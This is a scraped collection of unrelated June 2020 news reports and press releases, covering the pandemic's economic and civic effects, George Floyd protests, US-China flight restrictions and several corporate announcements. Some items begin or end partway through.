Italy's benchmark 10-year bond yields were at 1.42% on Friday, close to Thursday's two-month low and half what they were in mid-March, at the height of the worries around the spread of the novel coronavirus.

Greek and Cypriot 10-year yields were also close to their lowest levels since March.

Employment data from the United States is due later on Friday, and Chatwell at Mizuho said that an improvement on last month's dire numbers could further support sentiment. (Reporting by Abhinav Ramnarayan, editing by Larry King)
The $600 per week boost in unemployment benefits that Congress passed in March expires at the end of July, and Republicans have vowed not to renew them, saying they are too generous and encourage workers to stay at home. But as the severity of the unemployment situation for millions of Americans becomes increasingly clear  and likely to linger through the election  some GOP lawmakers reportedly are having second thoughts about what to do with the program.

According to The Hill, a growing number of Republican senators are discussing an extension of the extra unemployment benefits past July, though at a lower level. A federally funded back-to-work bonus of $450 is also on the table, part of an effort to ensure that workers are encouraged to return to their jobs.

The recent protests over police violence and racism are also playing a role in changing minds among Republicans, who are worried about maintaining their control of the Senate. I dont think we can ignore the fact that this civil unrest is happening against a backdrop of 20-plus percent unemployment, said Sen. Josh Hawley (R-MO).

Whatever form the additional aid takes, its becoming clear to Republicans that Congress will have to provide help to the unemployed for some time beyond July, stretching perhaps to the end of the year. Im very open-minded about how to supplement unemployment benefits, said Sen. Lindsey Graham (R-SC), one of the most outspoken critics of the $600 unemployment payments.

The Senate announced Wednesday that it will hold a hearing next week on how to address unemployment benefits in the next and perhaps final coronavirus relief bill.

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JOLIET, IL  Beginning Monday and possibly lasting the next four months, downtown Joliet's Rialto Square Theatre will take on a role that no one would have ever expected prior to the new coronavirus pandemic. The Rialto will serve as Will County Traffic Court for cases from Joliet, Channahon, Crest Hill, Elwood, Lockport, Manhattan, Rockdale and Shorewood.

About 65 chairs are arranged throughout the lobby and rotunda for people coming to the Rialto next week for traffic cases before Will County Associate Judge Chrystal Gavlin.

According to Schoenstedt, the Rialto will be paid $700 per day, which is the same rate Will County pays to lease other buildings for other branch courts, including Bolingbrook, Plainfield, Wilmington and Frankfort.

At 30 days, theoretically, the Rialto could generate $21,000. If the lease lasts for 120 days, for example, the Rialto could be make $84,000 from Will County's judiciary.

"We'll be paying on a per diem basis," Will County Chief Judge Richard Schoenstedt said. "It was a win-win for both sides. I needed to find space in order to relieve the volume" inside the courthouse. The arrangement allows for Rialto to generate revenue at a time when they are unable to book national acts and hold wedding receptions at their facility, the judge added.

Joliet Patch's editor interviewed Judge Gavlin on Thursday afternoon as she was visiting the Rialto in preparation for next week's major changes.

(Joliet Patch article continues below this John Ferak photo.)

The Rialto's rotunda and lobby will become the new Will County Traffic Court starting Monday, June 8. Image via John Ferak





Gavlin told Patch she knew of only two dates in June that had a huge load of cases on her docket. One day has more than 120 cases on the docket and the other has 85.



"June is a pretty light month," she said. "July and August, those will be the telltale signs."

In May, Will County Chief Judge Richard Schoenstedt worked out a lease agreement to use the Rialto Square Theatre, one block north of the courthouse, as a temporary branch court. The move is intended to relieve the hallways on the first floor of Will County Courthouse from becoming overcrowded amid efforts to maintain social distancing.

Story continues

How long will the Rialto serve as Will County's primary traffic courtroom?

"I anticipate at least two months, if not three or four months," Schoenstedt told Patch on Thursday.

In October, Will County hopes to move into its new $215 million courthouse being built across the street from the existing building on Jefferson Street that opened in 1969.

As Patch visited the Rialto Thursday to check out the lobby and rotunda, Judge Gavlin said she is excited for her assignment to begin.

(Joliet Patch article continues below this John Ferak photo.)



The Rialto's rotunda and lobby will become the new Will County Traffic Court starting Monday, June 8. Image via John Ferak





When Patch asked what she will use as her bench, Gavlin pointed to the long counter in the rotunda. It normally serves as the drink bar for theater guests coming to see comedians and music concerts.



"It's a beautiful place," Gavlin remarked Thursday. "It's going to operate like a branch courtroom. In here, we can have a lot more people than in Courtroom 121 with social distancing."

The Rialto has been regarded as one of the top 10 most magnificent performing arts theaters in North America. It was built in 1926. The Rialto is managed by VenuWorks, an Iowa-based company that manages theaters and performing arts facilities throughout the Midwest.

"I'm hoping that being in this environment will make them less frustrated because it's pretty to look at and a lot of them have not been in the Rialto," Gavlin said.

Rialto executive director Val Devine told Patch she is grateful to the county for the arrangement to use her facility for traffic court. The Rialto has not been able to hold any national performing acts since the pandemic caused a shutdown for concert venues in mid-March.

Devine said that Will County will provide security inside the Rialto for people going to traffic court. There will be signs directing people where to go and how to leave the Rialto. Under no circumstances will people coming for traffic court be able to wander all over the theater or go into the balcony, court officials told Patch.

Image via John Ferak/Patch





This article originally appeared on the Joliet Patch
CLIFTON HEIGHTS  As a group of about 30 protesters marched down Baltimore Avenue Thursday afternoon, most onlookers expressed support for the peaceful event  but some tension was clearly evident.

The march was spurred by the death of George Floyd at the hands of police in Minneapolis late last month and mirrored similar demonstrations across the country.

The walk began at the Clifton Heights Swim Club and went along Broadway Avenue, turning at Glenwood Avenue to Baltimore Avenue, where it turned on Springfield Road to stop at borough hall, then back to its spot of origin. Some businesses in the borough closed their doors early when they learned the protest was going to happen.

My mom was crying, organizer and borough resident Spring Walker Williams said. She was scared for me to do this protest in Clifton Heights. She was scared.

She explained why she went forward.

Because I face racism and discrimination in this community where I grew up for 12 years, Williams said. I would love to see a change for it.

A variety protests have sprouted up in different locations throughout Delaware County, including Upper Darby and Lansdowne, in the last week and all but one have been peaceful. Several hundred individuals descended on 69th Street Sunday and looted many stores in an event officials said was not a protest but chaos.

Thursdays march was also peaceful, although there were some confrontations.

As the protesters walked along the route, many came out of their homes to watch. Some raised clenched fists, others chanted with them, some waved American flags and joined the walk.

One white male driver on Baltimore Avenue called the group the n-word as he drove past. Another in the field across from borough hall yelled, Get a f job.

A couple times, heated words were exchanged between those with different views on the sidewalks and those walking, but, again, most expressed support.

At one point during the end of the walk, one man approached the end of the march and started exchanging shouts with a member of the march.

Mike, shut up, James Salmon yelled to him. Salmon, a Clifton Heights borough highway department foreman, joined the walk right outside borough hall and walked the remainder of the route with demonstrators. When asked why he walked, he paused for a moment.

I know about racism. Its a very real thing because Im on the other side, said Salmon, who is white. I work with all the cops. I know all the cops. Im not here to protest them. I think they do a fantastic job.

But, theres some very real injustices in the world and to continue to ignore it  seems like a dereliction of my duty as an American, Salmon said. Its important for people like me to be involved in things like this because it can help change the narrative of the angry black man, which is a perceived notion that a lot of people have and its not a very real thing.

Salmon said he grew up in Clifton Heights. Theres a lot of older people here who are just scared of the change, he said. They grew up in a very different world, I mean. I know my family and my grandparents and the world they grew up in but this world is not, its not that anymore and its to change for the better. So, just hoping that by being here I can help a little bit.

He said he was anticipating a reaction at his place of employment.

I think itll be very uncomfortable for a little while, Salmon said, but what injustice is that to me? I mean, theres people that have suffered for years a lot worse than that and if I get a hard time at work, then so be it.

Williams shared some examples her family members have experienced.

They look at my brother like, Oh, he dont belong here,' she said of different times hes walked down the street. Ive had people tell me, Where do you live? Why are you here?'

At the protest, police from Clifton Heights, Darby Borough, Collingdale and Upper Darby were present.

Were here to just to make them safe with traffic and everything, Clifton Heights Police Chief Timothy Rockenbach said. Were all on the same page with what this is.

He spoke of the death of George Floyd.

This is a horrible situation, he said. Theres no doubt about that. Ninety-nine-point-nine percent of people feel that its a horrible situation  That does not define us just like issues done by other people dont define who their compadres are. This happened and it was a horrible thing and were here to support them. Spring is a wonderful young lady. Shes trying to make a mark at her young age and we agree with her.

Borough resident Meredith Hegg participated in the march as a private citizen, even as she also is an Upper Darby School Board member.

Carrying a Be Part of the Solution sign and wearing a Black Lives Matter shirt, she explained why she was walking.

I think its important for every community to show that they support every part of the community, she said. Black lives matter. Weve seen some really horrific things recently but its also going a long way back. I think this is the time to step up and peacefully say that we want change, that we care about our children, we care about the future and that were going to do what it takes to, hopefully  teach people how to be part of a diverse community.

Throughout the walk, participants changed, I Cant Breathe, No Justice, No Peace, and Black Lives Matter in Clifton. On Broadway Avenue and at borough hall, they took a knee.

There, where they also took a group picture, Williams spoke.

Just love your neighbor, she said. Love people like you want to be loved. You never know what the next person is going through, what theyre going to face.

She offered some words to those not of color. Speak up, she said. If you see something, dont be afraid to say, Thats not cool. Call people out.

Back at their house, her mom, Marita Walker, spoke of how she was concerned for her daughter and her son, Keito Shaw, an Upper Darby High senior whos going to study criminal justice.

Only thing we want is justice and equality, she said. We dont want anything extra  just equality.

Walker shared her hope.

I just think that when we all come together, itll bring about change, she said. Im just thankful that in Clifton Heights, we could do something where everybody come together and for the same cause thats peaceful.
President Donald Trump on Wednesday morning called U.S. Attorney for Utah John Huber a garbage disposal unit for closing an investigation without charges against former Secretary of State Hillary Clinton.

Huber, who has served as Utahs top federal prosecutor since 2015, had been tapped by then-Attorney General Jeff Sessions to launch an inquiry into the Clinton Foundation and its ties to the sale of a Canadian uranium company  with mining stakes in the Western United States  to a Russian nuclear agency as well as Clintons handling of classified emails.

In January, after a multiyear effort, Huber ended the investigation.

Trump, during a Wednesday morning tweetstorm, praised a spoof Twitter account about Huber while slamming the real federal prosecutor.

Undercover Huber is a great spoof, funny, but at the same time sad, because the real @JohnWHuber did absolutely NOTHING. He was a garbage disposal unit for important documents & then, tap, tap, tap, just drag it along & run out of time. A.G. Jeff Sessions was played like a drum!  Donald J. Trump (@realDonaldTrump) June 3, 2020
When I decided to invest in my own business, I looked at other opportunities, but they didnt have the training and business model that Monster Tree Service has developed, said Talkington.

Monster Tree Service, the nations first and fastest-growing tree service franchise, is expanding in Nevada. Recently featured by SUCCESS magazine, Thrive Global, and Franchise Times, the Monster Tree Service franchise continues to build on its rapid three-year franchise system growth.

Business entrepreneur John Talkington has purchased the rights to a Monster Tree Service Territory in Greater Reno, Nevada covering Gardnerville, Lake Tahoe, Reno, Carson City and surrounding areas. Its a unique territory and Talkingtons team is up to the challenge.

Talkington spent more than 20 years specializing in product development in the U.S. defense industry. Hes worked on everything from heavy freight locomotives to airplanes and weapons systems. Talkington holds two engineering degrees and is a self-described research and development guy. That commitment to innovation and improvement will contribute to his long-term success at Monster Tree Service.

When I decided to invest in my own business, I looked at other opportunities, but they didnt have the training and business model that Monster Tree Service has developed, said Talkington. I like the fact that the corporate office provides a lot of support, but they let me run my own business. I also enjoy working outside every day. There is no reason to get bored with this industry. There is always something to learn.

Josh Skolnick, CEO and Founder of Monster Tree Service, is confident Talkington will be a tremendous asset to the Monster Tree Service franchise.

John is a perfect fit for the Monster Tree Service franchise opportunity, says Skolnick. He has a good head for business and an entrepreneurial spirit that cant be stopped. He also has a great understanding of the needs of his community and can take on any challenge that comes his way. I am confident John will thrive as the newest member of the Monster family. We are glad to have him on our team.

Monster Tree Service is the only franchise tree company capitalizing on the under-served $17 billion tree service industry. Monster Tree Service has achieved consistent year-over-year, 5 percent growth since 2009, resulting in a $10+ million business. Because its a high-upside opportunity, and a recession-proof business, Monster Tree Service expects to achieve $100 million in sales by 2021.

Our team prides itself on providing a professional experience for all our customers, said Talkington. We dont leave until the job is done right and the customer is happy. Were also excited to offer the community our wide array of services, including tree trimming and pruning, shrubbery and hedge thinning, landscape clearing and more.

For more information about Monster Tree Service, please visit http://www.whymonster.com/.

For more information about Monster Tree Service franchise opportunities, please visit http://www.monsterfranchising.com/.

To learn more about CEO Josh Skolnicks vision for Monster Tree Service, please visit https://www.monsterfranchising.com/vision-story.

###

About Monster Tree Service

Founded in 2008 in Fort Washington, Pennsylvania, by Founder and CEO Josh Skolnick, Monster Tree Service is the nations first and fastest-growing franchise brand serving the $21 billion tree care industry. Over the past decade, Skolnick has aggressively built Monster Tree Service into a thriving national franchise system, working day and night to build the company into a multi-million-dollar business with more than 62 franchise partners and 166 territories sold in 28 states.

With dozens of fantastic franchise partners doing great work in their respective communities, Monster Tree Service expects to exceed $35 million in systemwide revenue in 2019. Each Monster Tree Service franchised outlet offers full-scale tree pruning and removal services, including tree pruning and trimming, tree removal, stump grinding, shrub maintenance, emergency services, plant health care, and various secondary services.

Monster Tree Service franchise owners possess high levels of business acumen and business-building skills that bring a rare level of professionalism to the tree care industry. Fully invested in this industry  both personally and professionally  Monster Tree Service owners provide wonderful opportunities to other professionals who have a shared vision of continuing to legitimize the tree care industry as a skilled trade. These industry professionals will have the tools, training, and respect to excel in providing unparalleled service to their clients and Make the World a More Beautiful Place, One Tree at a Time.

Monster Tree Service is committed to educating all customers on the natural conditions, diseases and infestations that impact the health of their plants/trees and treating all issues with an environmentally friendly, Do Not Harm approach. Its all part of the Monster Tree Service vision to partner with homeowners across the country to make their trees healthy, strong, and vital.

For more information about Monster Tree Service, please visit http://www.whymonster.com/.

For more information about Monster Tree Service franchise opportunities, please visit http://www.monsterfranchising.com/.
A ground staff worker walks across the tarmac at Beijing Capital International Airport as the country is hit by an outbreak of the novel coronavirus

By Stella Qiu and Se Young Lee

BEIJING (Reuters) - China will ease coronavirus restrictions to allow more foreign carriers to fly to the mainland, shortly after Washington vowed to bar Chinese airlines from flying to the United States due to Beijing's curbs on U.S. airlines.

Qualifying foreign carriers, about 95 of them currently barred from operating flights to China, will be allowed once-a-week flights into a city of their choosing starting on June 8, the Civil Aviation Administration of China (CAAC) said on Thursday.

But considering some countries are still banning international flights, it estimated the number of international flights would increase by 50 to 150 per week while the average of passengers arriving per day would rise to 4,700, up from around 3,000 now.

The CAAC said all airlines will be allowed to increase the number of international flights involving China to two per week if no passengers on their flights test positive for COVID-19, the disease caused by the novel coronavirus, for three consecutive weeks.

If five or more passengers on one flight test positive for COVID-19 upon arrival, the CAAC will bar the airline from services for a week. Airlines would be suspended for four weeks if 10 passengers or more test positive.

The CAAC has slashed international flights since late March to allay concerns over rising coronavirus infections brought by arriving passengers. Mainland carriers are limited to one flight a week on one route to any country and foreign airlines are allowed to operate just one flight a week to a city in China.

Carriers could also fly no more than the number of flights in a weekly schedule approved by the CAAC on March 12. U.S. passenger airlines already stopped all flights to China at that time, meaning they were unable to resume flights to China.

On Wednesday, the U.S. government said it would bar Chinese passenger carriers starting from June 16, pressuring Beijing to let U.S. airlines to resume flights.

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The U.S. Department of Transportation could not be immediately reached for comment, though it has said it will reconsider the decision against Chinese airlines if the CAAC adjusts its policies affecting U.S. airlines.

Zhao Lijian, a Chinese foreign ministry spokesman, said at a daily briefing on Thursday the CAAC is lodging a complaint with the U.S. Department of Transportation for the ruling against Chinese air carriers. He said the CAAC is in close cooperation with its U.S. counterpart about passenger flights.

"We hope the U.S. side will not create obstacles for the resolution of this issue," Zhao said.

China suspended the entry of most foreigners in late March, meaning only Chinese nationals can enter on commercial passenger flights.

(Reporting by Stella Qiu, Se Young Lee, Huizhong Wu, Lusha Zhang and Cate Cadell; Editing by Lincoln Feast, Christian Schmollinger and Emelia Sithole-Matarise)
Stories around every day.

The pandemic has shifted daily life.

For months, photographers have captured stark images of life.

Yellow tape blocking off seating areas at restaurants or lines forming just to enter grocery stores.

Reality has changed, and IGersABQ has collaborated with Albuquerque Art Walk, Homewise and The Ruppe for the Social Distance Photo Exhibit and Curbside Poetry on Friday, June 5.

Jessica Roybal, IGersABQ founder, says that in May photographers were brought together for the installation Social Distance. It was curated by both IGERS ABQ and Secret Gallery. It features over 20 artists and made of nearly 40 images.

The installation highlights New Mexico perspectives during the era of COVID-19. It was installed at The Ruppe, 807 Fourth SW, which was known as B. Ruppe Drugs.

B. Ruppe Drugs has been an Albuquerque business since 1883, the year that German immigrant Bernard Ruppe settled by accident in Old Town and began selling medicinals. The shop, the oldest continuously operating pharmacy in the state, moved from Old Town to Second Street before finding its current home south of Downtown on Fourth Street in 1965.

In 2017, Homewise purchased the building with guidance from the Barelas Community Coalition to redevelop the site as a revitalized space where traditional healers could renew Maclovia Zamoras work.

We team up with Albuquerque Art Walk to host different photographers, Roybal says. The event on Friday is part of the monthly Albuquerque Art Walk.

Fridays event will include poetry by former Albuquerque Poet Laureate Jessica Helen Lopez.

In addition, there are plans for art vendors to be in the area selling their work.

Of course, Roybal says coronavirus precautions will be taken at the event.

Plenty of social distancing and wearing of face masks, she says. I think being at home has definitely made more artists creative during this time. Ive been more creative. These artists are being called regenerators.

Roybal says IGersABQ was started as an Instagram-based community that gives opportunity to photographers  both professional and amateur.

We try to be inclusive of everybody and all styles, Roybal says. There is plenty of opportunity to get both amateur and professional photographers collaborating.
Thursday, June 4, 2020

Last week, I asked how long we could go through the same process of deja vu before things change.

Since then, not only have things not changed for the better, they've gotten significantly worse.

Ten days ago, George Floyd, an unarmed Black man, was murdered by a Minneapolis police office while 3 other officers stood by and watched. One officer was charged quickly. Not until yesterday, were charges brought against the three officers who chose not to intervene.

George Floyd's death was the tipping point. The frustration of African Americans over the ongoing killings of unarmed Black men by police officers, the continuing pattern of white Americans reporting Black people to the police for doing nothing more than being Black, the indifference and racism of our federal leaders--all of that boiled over this past week.

Protests have been held across the country, and in other parts of the world. Some were peaceful; others erupted into looting and violence. It's not clear if the people responsible for the looting and vandalism were really protesting Floyd's death, or if they were other groups using the protests as a cover to commit criminal acts. Deploying the national guard, sending in police with heavy-duty military equipment, and shooting tear gas at peaceful protesters just inflamed the situation.

Where do we go from here? The Minneapolis police chief was asked about the responsibility of the three officers who stood by and let this happen. His response: If they stood there and did nothing, they are complicit.

Most of us have likely never actually abused or murdered an individual because of the color of their skin. But if we sit here and say or do nothing while others commit these crimes, we are also complicit. Edmund Burke said, "All that's required for evil to flourish is for good men to do nothing."

Yes, Black lives matter. And the actions or inactions of the rest of us when these things happen matter, too.

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Contact me to find out how you can get heard above the noise--even in a crisis situation. Check out our marketing leadership podcasts and the video trailer for my book, Marketing Above the Noise: Achieve Strategic Advantage with Marketing that Matters.

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Tom Frieden

New York

The writer, an infectious diseases and public health doctor, was director of the Centers for Disease Control and Prevention from 2009 to 2017.

To the Editor:

As former Epidemic Intelligence Service officers at the C.D.C. and former members of the Commissioned Corps of the U.S. Public Health Service, we believe that this article, while raising valid points about the C.D.C.s need for culture change, misses the elephant in the living room  the underfunding of public health in the United States.

The C.D.C. is a leading international public health entity, its programs and projects drive health policy, and it responds to outbreaks of public health significance worldwide. Despite all of this, the agency, along with state and local health departments, has been underfunded and neglected for decades. The budget for public health is less than 3 percent the amount of money America spends on its multipayer health care system.

The C.D.C. must be funded appropriately, charged with leading the Covid-19 response and also with addressing the health inequities unmasked by this global pandemic. Additionally, a single-payer health care system would make a significant dent in these inequities, both through direct provision of necessary health care without financial barriers and through availability of much richer data sets from which to analyze health trends and needs.

SARS-CoV-2 has demonstrated the need for major changes in public health and health care services, but without financial support, these changes cannot be made. If the children of the United States are to have a healthy future, our budgets must reflect that priority.
The Hamilton County Health Department reported a one-day record 106 new cases of COVID-19 on Friday for a cumulative total of 1,381.

Officials said, "While the majority of people are compliant with the Health Departments isolation and quarantine instructions, there are an increasing number of people who are not staying home and not being cooperative. This behavior puts the general public at even more risk of exposure. People are asked to stay home and away from others to prevent the spread of the virus."

Our contact tracers work hard every day to serve the public and prevent the spread of disease, said Health Department Administrator Becky Barnes. Please work with them when they call you. Please stay home when they ask. Contact tracing is one of the only tools we have to help prevent the spread of the disease. Your compliance will help save lives.

She said the Health Department stresses how important it is for people to take every opportunity available to protect themselves and their families. Just because a business is open, doesnt mean it is the best choice for your family to visit.

Health Department COVID-19 testing sites have been busy this week. Between Monday, June 1st and Friday, June 5th the Health Department conducted a combined 1,744 COVID-19 tests at the school testing sites891 tests were conducted at Brainerd High School and 853 tests were conducted at Orchard Knob Elementary. This is in addition to all of the other testing efforts going on in the county.

Testing will continue this weekend at Brainerd High School. The testing is free, no symptoms necessary, no referral needed, walk-up and drive-up available.

Brainerd High School

1020 N Moore Rd, Chattanooga, TN 37411

Hours: 7-11 a.m.

Saturday, June 6 and Sunday, June 7

The school testing locations will move back to Hardy Elementary and East Lake Academy next week.

Hardy Elementary

2100 Glass St, Chattanooga, TN 37406

Monday-Sunday, June 8  June 14

Hours: 7-11 a.m.

East Lake Academy

2700 E 34th St, Chattanooga, TN 37407

Monday through Friday, June 8  June 12

Hours: 7-11 a.m.

The Health Department partnered with the Community Foundation of Greater Chattanooga to launch free COVID-19 testing at various church locations. Testing will begin this weekend at Mt. Canaan Baptist Church. The church testing sites will operate every weekend at different church locations through June.

Mt. Canaan Baptist Church

4801 Hwy. 58 Chattanooga, TN 37416

Saturday, June 6 from 10 a.m.-1 p.m.

Sunday, June 7 from noon-3 p.m.

The Health Department partnered with the Kroger Health to facilitate a free drive-thru COVID-19 testing opportunity. Appointments are required to receive a test and can be scheduled via Kroger Healths online portal at www.krogerhealth.com/ covidtesting .

Northgate Mall - Parking Lot

271 Northgate Mall Drive, Chattanooga, TN

Wednesday, June 10 through Friday, June 12

Hours: 9 a.m.-4:30 p.m.

The Health Department will be working with the National Guard to offer a drive-thru testing event June 12 and 13 in the Ooltewah area. Locations and times will be announced soon.

Visit the Health Departments website to view a list of testing events and sites. Anyone with COVID-19 questions may call the Health Departments hotline at (423) 209-8383.
FREMONT, Calif., June 04, 2020 (GLOBE NEWSWIRE) -- Enphase Energy, Inc. (ENPH), a global energy technology company and the worlds leading supplier of solar microinverters, today announced that Same Sun of Vermont has deployed Enphase microinverters on a 56.2 kWDC commercial solar system for WhistlePig Rye Whiskey, a Vermont-based craft whiskey maker.



WhistlePigs distillery is situated on a 500-acre former dairy farm in Shoreham, Vermont. For this commercial solar project, Same Sun of Vermont used 173 Enphase IQ 7X microinverters across the distillers warehouse building and bottling plant. The array features a unique SolarSkin module wrap from Sistine Solar to showcase the WhistlePig name superimposed on rows of whiskey barrels when viewed from above. Same Sun of Vermont chose high-efficiency Enphase microinverters to mitigate the approximately 20% loss in kWh production caused by shading variations of the eye-catching module coverings. The system is projected to produce up to 54,000 kWh annually and offset approximately 814 metric tons of carbon dioxide (CO2) over its lifetime.

We used Enphase IQ 7X microinverters in the WhistlePig arrays to ensure maximum reliability, heat tolerance, and redundancy to mitigate the impact from any output variations this beautiful system might have, said Philip Allen, co-founder at Same Sun of Vermont. Enphase inverters allowed us to quickly design and deploy this commercial solar system without the string sizing restrictions inherent to other inverter technologies. The Enphase Enlighten monitoring platform also provides in-depth performance monitoring via a kiosk-style display, so employees and visitors can see the impact solar has for WhistlePig Whiskey.

Our whiskey making process relies on natural resources from our Farm and the surrounding land, and we are fiercely dedicated to taking care of this ecosystem, says Jeff Kozak, CEO, WhistlePig Whiskey. Vermonts climate makes it the perfect resting place for barrels that have been aging up to 18 years, and Farm grains as well as local water, yeast and estate oak are the ingredients for our Farm to glass whiskeys. To minimize our environmental impact, we use concepts like adaptive reuse of buildings as well as solar energy. The solar system Same Sun of Vermont developed and installed for us not only looks great from above, but it also allows us to reduce our CO2 emissions and dependence on non-sustainable energy.

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The Enphase IQ 7X microinverter offers 97.5% CEC efficiency, supports 96-cell PV modules up to 400 Watts (W), has a peak AC output power of 320 W, and delivers a Maximum Power Point Tracking (MPPT) range of 53-64 Volts. The IQ 7X microinverter leverages Enphases 55 nm custom ASIC for higher reliability and better economies of scale. This high-performance microinverter is based on the unique, software-defined architecture from Enphase and features built-in support for Rapid Shutdown and California Rule 21 requirements for residential as well as commercial solar applications. Enphase microinverters are subjected to a rigorous reliability and quality testing regiment with over one million cumulative hours of test cycles in heat, high humidity, salty air, and extreme cold. To further help ensure quality and durability, Enphase IQ 7X microinverters are designed to be long-lived energy assets and do not contain complicated moving parts or easily breakable components, such as fans, and are backed by a 25-year warranty.

The WhistlePig Whiskey solar system demonstrates how innovative solar installers like Same Sun of Vermont leverage high-quality Enphase products to deliver benefits beyond providing clean, renewable energy, said Dave Ranhoff, chief commercial officer at Enphase Energy. Solar energy is a powerful way to demonstrate a brands dedication to the environment, and extending this brand-building to the front of the modules is truly innovative. As the only Elite-tier Panasonic installer currently in the Northeast, we are pleased that Same Sun of Vermont paired Enphase microinverters with high-efficiency 96-cell Panasonic modules to ensure optimal reliability and performance for WhistlePig.

For more information about commercial solar in the Northeast, please visit the Same Sun of Vermont website , and for more information about commercial solar with Enphase IQ microinverters, please visit the Enphase Energy website .



About Enphase Energy, Inc.

Enphase Energy, a global energy technology company, delivers smart, easy-to-use solutions that manage solar generation, storage and communication on one intelligent platform. The Company revolutionized the solar industry with its microinverter technology and produces a fully integrated solar-plus-storage solution. Enphase has shipped more than 27 million microinverters, and over 1.1 million Enphase systems have been deployed in more than 130 countries. For more information, visit www.enphase.com and follow the company on Facebook , LinkedIn and Twitter .

Enphase Energy, the Enphase logo, IQ 7X, Enlighten, and other trademarks or service names are the trademarks of Enphase Energy, Inc. Other names are for informational purposes and may be trademarks of their respective owners.

About WhistlePig Rye Whiskey

Founded in 2008, WhistlePig Rye Whiskey is the premier aged Rye whiskey, featuring the bold and often untapped flavor of Rye. WhistlePig Whiskey is leading a surge of innovation in the emerging field of North American whiskey. As the most decorated Rye whiskey  having received the coveted Best in Show Whiskey title from the 2017 San Francisco World Spirits Competition, WhistlePig is widely viewed as the world's finest Rye. With the opening of its distillery on its 500-acre Vermont farm in the fall of 2015, WhistlePig has also become one of the leading farm-to-bottle Rye whiskeys in the world. For additional information please visit whistlepigwhiskey.com. Please enjoy WhistlePig Rye Whiskey Responsibly.

Forward-Looking Statements

This press release may contain forward-looking statements, including statements related to the expected capabilities and performance of Enphase Energys technology and products such as efficiency, kWh production, and power output; expected reduction of carbon emissions; our product quality, reliability and economies of scale; and the quality of products and service provided by our various partners. These forward-looking statements are based on Enphases current expectations and inherently involve significant risks and uncertainties. Actual results and the timing of events could differ materially from those anticipated in such forward-looking statements as a result of certain risks and uncertainties including those risks described in more detail in Enphases most recent Annual Report on Form 10-K and other documents on file with the SEC and available on the SECs website at www.sec.gov. Enphase Energy undertakes no duty or obligation to update any forward-looking statements contained in this release as a result of new information, future events or changes in its expectations, except as required by law.

Media Contacts:

Enphase -- Christian Zdebel, pr@enphase.com , 484-788-2384
NEW YORK and LOS ANGELES, June 5, 2020 /PRNewswire/ -- The reopening of non-essential businesses brings a plethora of HR challenges as states begin easing restrictions, says XpertHR, the leading HR employment compliance resource.

Return to Work Plan No matter what the timeline or business location, reopening a business requires planning and preparation in order to provide a safe, supportive and productive work environment, says Amanda Czepiel, JD, Head of Content, XpertHR.

Each individual state sets its own timeline for businesses to open and employers should be aware that reopening guidelines may depend on where the company is located. For employers operating in more than one state, it's especially important to understand the phased reopening dates and guidelines in the various states in which they operate. For example, Arkansas, Florida, Georgia and Wyoming are among the states with no Stay-At-Home Order in place. However, Alabama's Safer-at-Home Order is extended through July 3, 2020 and New Jersey's Stay-at-Home Order has no set end date. XpertHR's continually updated COVID-19 Stay-at-Home Orders and Reopening Plans by State chart explains guidelines specific to each state.

No matter what the timeline or business location, reopening a business requires planning and preparation in order to provide a safe, supportive and productive work environment, says XpertHR.

One top-of-mind issue facing employers is the health and safety of employees. In order to reduce the risk of exposure to COVID-19, certain cleaning and disinfecting protocols should be implemented and followed during the pandemic. Other reopening issues include COVID-19 employee testing, determining staffing needs and preparing a business contingency plan.

"Before re-opening, it's imperative that businesses establish health and safety protocols, ensure operational readiness, and reconfigure the work site layout to comply with social distancing guidelines," says Amanda Czepiel, JD, Head of Content, XpertHR. "Employers can't get back to business without making sure employees are adequately protected."

XpertHR offers a host of resources to ensure employers are complying with return to work guidelines and employees are returning to work safely, including how to:

Determine an organizational approach to reopening. Follow CDC and OSHA obligations. Reorganize the workplace setup. Develop a screening process. Safeguard employee privacy. Accommodate employees. Prepare for possible business disruptions. Develop communication strategies.

For a free copy of the guide, "How to Create a Coronavirus (COVID-19) Return-to-Work Plan," visit XpertHR.

XpertHR is committed to providing HR professionals and employers with the most up-to-date and reliable Coronavirus resources and information on key business impact decisions around FFCRA, CARES, furloughs, layoffs, remote work, return to work and more. XpertHR is also offering a free COVID-19 check-in where a team member will walk you through the tools and resources available to help support businesses through this challenging time.

Editor's Note: Amanda Czepiel, JD, Head of Content, XpertHR is available for interview. If you use any of this material, please include this link.

Media Contact:

Beth Brody

[email protected]

908-295-0600

SOURCE XpertHR
Source: Xinhua| 2020-06-05 17:14:21|Editor: huaxia

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TASHKENT, June 5 (Xinhua) -- China's experience in reducing poverty could inspire Uzbekistan to address its own problem in this regard, a Uzbek Sinologist said here on Friday.

The concept of building a moderately prosperous society, or "xiaokang," in China by 2020 is "playing an important role in reducing poverty," Ismatulla Bekmuratov, a professor of the Tashkent State Institute of Oriental Studies, told Xinhua in an interview.

The concept "underlines a kind of 'road map' for the gradual overcoming of poverty in China and this experience can be applied in Uzbekistan as well," Bekmuratov said.

Bekmuratov praised China's success in reducing poverty, referring to the more than 700 million people who have risen from poverty in the country, which led to a sharp drop in the total number of impoverished worldwide.

Chinese's provision of social guarantees including education, medical care and housing to poor families, and opportunities for the poor to run their own family businesses are worth learning, Bekmuratov said.

Poverty reduction remains a high priority for Uzbek President Shavkat Mirziyoyev since he came into power in 2016. This week, Mirziyoyev instructed the government to set up a new institution to address poverty in the country.

Around 4-5 million people or some 12 to 15 percent of the population in Uzbekistan now live below the poverty line, according to the president.

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The opposition National Democratic Congress party, (NDC) Secretariat in the North East region has debunked claims that some members of the party has defected to the ruling NPP party.

The North East regional Minister and Member of Parliament (MP) for the New Patriotic Party (NPP) for the Bunkprugu Constituency Hon. Solomon Namlit Boar recently announced on his social media handles (Facebook, Twitter, Instagram among others) that, some members of the NDC in the region left the party to join his party (NPP)

But reacting to the matter, the North East regional Secretariat of the NDC said the regional minister lied

In a Press Statement, NDC said "In fact, the leadership of the party has investigated the issues surrounding the so-called defections and wants to set the records straight about how the NPP deceived those members under the pretext of a Town Hall Meeting by the Hon. Solomon Boar which was said to be non-political"

According to them, their members (NDC) were giving Ghc20.00 each after a meeting with the Hon. Solomon Boar which was purported to be a "Town Hall Meeting".

The statement signed by the Bunkprugu Constituency Communication Officer of the party Yenu Baabont said " In fact, it will interest you to note that on that faithful day, these members were invited to at own Hall meeting at the Binde Social Center by a family member who is a member of the NPP.

